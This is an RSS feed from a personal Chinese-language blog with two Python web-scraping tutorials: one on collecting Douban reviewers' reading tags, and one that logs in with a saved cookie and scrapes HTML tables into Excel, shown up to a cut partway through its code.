<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Hannoch</title>
    <description>如何用githubpage 搭建blog</description>
    <link>https://hannoch.github.io/</link>
    <atom:link href="https://hannoch.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 06 Nov 2019 13:51:02 +0000</pubDate>
    <lastBuildDate>Wed, 06 Nov 2019 13:51:02 +0000</lastBuildDate>
    <generator>Jekyll v3.8.5</generator>
    
      <item>
        <title>python3 爬取豆瓣每本书对应评论用户的个人想读和在读的标签</title>
        <description>&lt;h1 id=&quot;python3-爬取豆瓣每本书对应评论用户的个人想读和在读的标签&quot;&gt;python3 爬取豆瓣每本书对应评论用户的个人想读和在读的标签&lt;/h1&gt;

目录结构

douban

├── DBOperator.py  操作数据

├── GetBookTag.py  个人用户书的标签

├── GetBookUrl.py  每本书的地址

├── GetPeople.py   每本书对应所有的评论用户

├── &lt;strong&gt;init&lt;/strong&gt;.py    空包

└── UserAgent.py   浏览器头

#

&lt;h1 id=&quot;所需环境&quot;&gt;所需环境&lt;/h1&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3.x&lt;/code&gt;

项目源代码
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/hannoch/pythoncode/tree/master/douban&lt;/code&gt;

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install requirements.txt&lt;/code&gt;

&lt;h1 id=&quot;本程序的流程&quot;&gt;本程序的流程&lt;/h1&gt;
流程就是，随便一本书—用户评论—用户想读的书–得到想读和在读的标签
脚本执行先后顺序：

1、首先要得到每本书对应的地址 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 GetBookUrl.py&lt;/code&gt;

2、再得到每本书对应所有的评论用户 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3  GetPeople.py &lt;/code&gt;

3、最后得到用户的标签 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3  GetBookTag.py&lt;/code&gt;

ps：三个脚本可独立运行，需要替换每个脚本里的cookies

&lt;h1 id=&quot;顺序流程&quot;&gt;顺序流程&lt;/h1&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_1.png&quot; alt=&quot;获取cookies&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_2.png&quot; alt=&quot;书的标签&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_3.png&quot; alt=&quot;标签下的书&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_4.png&quot; alt=&quot;书的短评&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_5.png&quot; alt=&quot;用户主页&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_6.png&quot; alt=&quot;用户定义的标签&quot; /&gt;

&lt;h1 id=&quot;数据库存储如下&quot;&gt;数据库存储如下：&lt;/h1&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_8.png&quot; alt=&quot;书信息表&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_9.png&quot; alt=&quot;人信息表&quot; /&gt;
&lt;img src=&quot;https://github.com/hannoch/pythoncode/blob/master/douban/images/douban_10.png&quot; alt=&quot;最后的标签&quot; /&gt;
</description>
        <pubDate>Mon, 15 Apr 2019 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2019/04/15/douban/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2019/04/15/douban/</guid>
        
        <category>Python</category>
        
        
        <category>Python</category>
        
        <category>cookie</category>
        
        <category>登录</category>
        
        <category>爬虫</category>
        
        <category>豆瓣</category>
        
      </item>
    
      <item>
        <title>python3 用cookie模拟登录，爬取表格中的数据</title>
        <description>&lt;h1 id=&quot;python3-用cookie模拟登录爬取表格中的数据&quot;&gt;python3 用cookie模拟登录，爬取表格中的数据&lt;/h1&gt;
需求：
1）爬取网页中有三百多张表格
2）存储到excel中第一行为表名，后面为爬取的数据，最后一行加空行，爬取到的数据都放在同一个工作簿中。

思路：简单登录无验证码，先用账号密码登录，得到cookie并保存到本地，访问目标网站时带上cookie

LOGIN_URL:登录网站
get_url:需要爬取的目标网站

网页表数据如下：
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-bac2c775ae322309.png&quot; alt=&quot;image.png&quot; /&gt;

table.txt:
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-e902bce9eade8713.png&quot; alt=&quot;image.png&quot; /&gt;

得到的数据如下：
第一行为表名，后面为爬取的数据，最后一行加空行，
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-a90ce2e22b73ab52.png&quot; alt=&quot;image.png&quot; /&gt;

完整代码：

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# -*- coding: utf-8 -*-
#python3
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;bs4&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BeautifulSoup&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;csv&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;bs4&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib.request&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib.parse&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib.error&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;http.cookiejar&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#&quot;Origin&quot;: &quot;http://www.xx.com&quot;,
&lt;/span&gt;    &lt;span class=&quot;s&quot;&gt;&quot;Referer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http://www.xxx.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;#
&lt;/span&gt;    &lt;span class=&quot;s&quot;&gt;&quot;user-Agent&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#检查url地址
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_link&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;#登录教务系统的URL
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;LOGIN_URL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;r'http://www.xxx.com'&lt;/span&gt;
     &lt;span class=&quot;c1&quot;&gt;#values = {'IDToken1': '201106******', 'IDToken2': '***********'}
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;userCode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;xxxx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;#username
&lt;/span&gt;        &lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;xxxx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;#password
&lt;/span&gt;    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;start1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;postdata&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlencode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#得到cookie
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;cookie_filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'cookie_jar.txt'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cookie_jar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookiejar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MozillaCookieJar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HTTPCookieProcessor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_jar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;opener&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_opener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LOGIN_URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;postdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# print(response.read().decode())
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;URLError&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;':'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 保存cookie到cookie.txt中    
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;cookie_jar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ignore_discard&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ignore_expires&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie_jar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Name = '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Value = '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;tablename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;#
&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;#从文件中读取表名
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;table.txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readlines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;tablename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#print(tablename)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#
&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;#每个表循环爬取字段
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;col&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tablename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;#登录后爬取的url    
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;get_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'http://www.xxx.com?tablenameme={tablenameme}'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tablenameme&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 利用cookie请求訪问还有一个网址
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;get_request&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;get_response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;#记录爬取到哪个字段
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{count}:{col}&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;#爬取资源，解析网站，获取网页中table的td的值
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;soup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BeautifulSoup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'lxml'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;#在先保存一个单独的网页在本地做测试
&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;#soup = BeautifulSoup(open('C:/Users/user/Desktop/table/test.html'),'lxml')
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;trs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;soup&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find_all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'td'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  
        &lt;span class=&quot;n&quot;&gt;ulist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;td&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;trs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;ulist&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;td&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;save_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ulist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;col&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#程序结束
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;success!!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;        
        
 
        
&lt;span class=&quot;c1&quot;&gt;#保存资源
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;save_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tablename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	
    &lt;span class=&quot;c1&quot;&gt;#print(urlist)
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;
